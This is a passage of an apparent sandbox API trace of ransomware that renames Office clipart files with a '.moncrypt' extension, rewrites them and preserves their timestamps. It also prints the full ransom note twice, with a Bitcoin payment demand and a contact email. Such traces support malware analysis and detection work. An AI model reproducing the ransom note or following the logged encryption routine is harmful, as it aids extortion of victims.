lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.768] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.768] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04369_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.768] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.768] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.768] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.768] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF", dwFileAttributes=0x20) returned 1 [0060.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.769] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.moncrypt")) returned 1 [0060.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.770] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.770] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x12c8 [0060.770] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.770] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x12c8, lpOverlapped=0x0) returned 1 [0060.772] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.772] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.772] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.772] GlobalUnlock (hMem=0x44000c) returned 0 [0060.772] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.772] GlobalUnlock (hMem=0x440004) returned 0 [0060.772] GlobalLock (hMem=0x440004) returned 0x550170 [0060.772] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.772] GlobalUnlock (hMem=0x440004) returned 0 [0060.772] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.772] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x12e0, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x12e0, lpOverlapped=0x0) returned 1 [0060.772] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.772] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.785] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.786] CloseHandle (hObject=0x188) returned 1 [0060.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.787] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.787] CloseHandle (hObject=0x188) returned 1 [0060.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.787] GlobalLock (hMem=0x440004) returned 0x550170 [0060.788] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.788] GlobalUnlock (hMem=0x440004) returned 0 [0060.788] GlobalLock (hMem=0x440004) returned 0x550170 [0060.788] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.788] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.788] GlobalUnlock (hMem=0x440004) returned 0 [0060.788] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.788] GlobalUnlock (hMem=0x44000c) returned 0 [0060.788] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.788] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.788] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.788] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.788] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.789] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.789] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.789] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.789] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.789] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.789] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.789] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.789] CloseHandle (hObject=0x188) returned 1 [0060.789] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0060.789] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.790] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.790] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.790] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.790] GlobalUnlock (hMem=0x44000c) returned 0 [0060.790] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.790] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.790] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.790] GlobalUnlock (hMem=0x44000c) returned 0 [0060.790] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.790] GlobalUnlock (hMem=0x440004) returned 0 [0060.790] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.790] CharLowerBuffW (in: lpsz="AN04384_.WMF", cchLength=0xc | out: lpsz="an04384_.wmf") returned 0xc [0060.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.791] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04384_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.791] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.792] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.792] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.792] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF", dwFileAttributes=0x20) returned 1 [0060.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.moncrypt")) returned 1 [0060.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.794] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.794] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x1384 [0060.794] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.794] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x1384, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x1384, lpOverlapped=0x0) returned 1 [0060.796] GlobalLock (hMem=0x440004) returned 0x550170 [0060.797] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.797] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.797] GlobalUnlock (hMem=0x440004) returned 0 [0060.797] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.797] GlobalUnlock (hMem=0x44000c) returned 0 [0060.797] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.797] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.797] GlobalUnlock (hMem=0x44000c) returned 0 [0060.797] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.797] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x13a0, lpOverlapped=0x0) returned 1 [0060.797] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.797] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.813] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.813] CloseHandle (hObject=0x188) returned 1 [0060.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.814] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.815] CloseHandle (hObject=0x188) returned 1 [0060.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.815] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.815] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.815] GlobalUnlock (hMem=0x44000c) returned 0 [0060.815] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.816] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.816] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.816] GlobalUnlock (hMem=0x44000c) returned 0 [0060.816] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.816] GlobalUnlock (hMem=0x440004) returned 0 [0060.816] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.816] 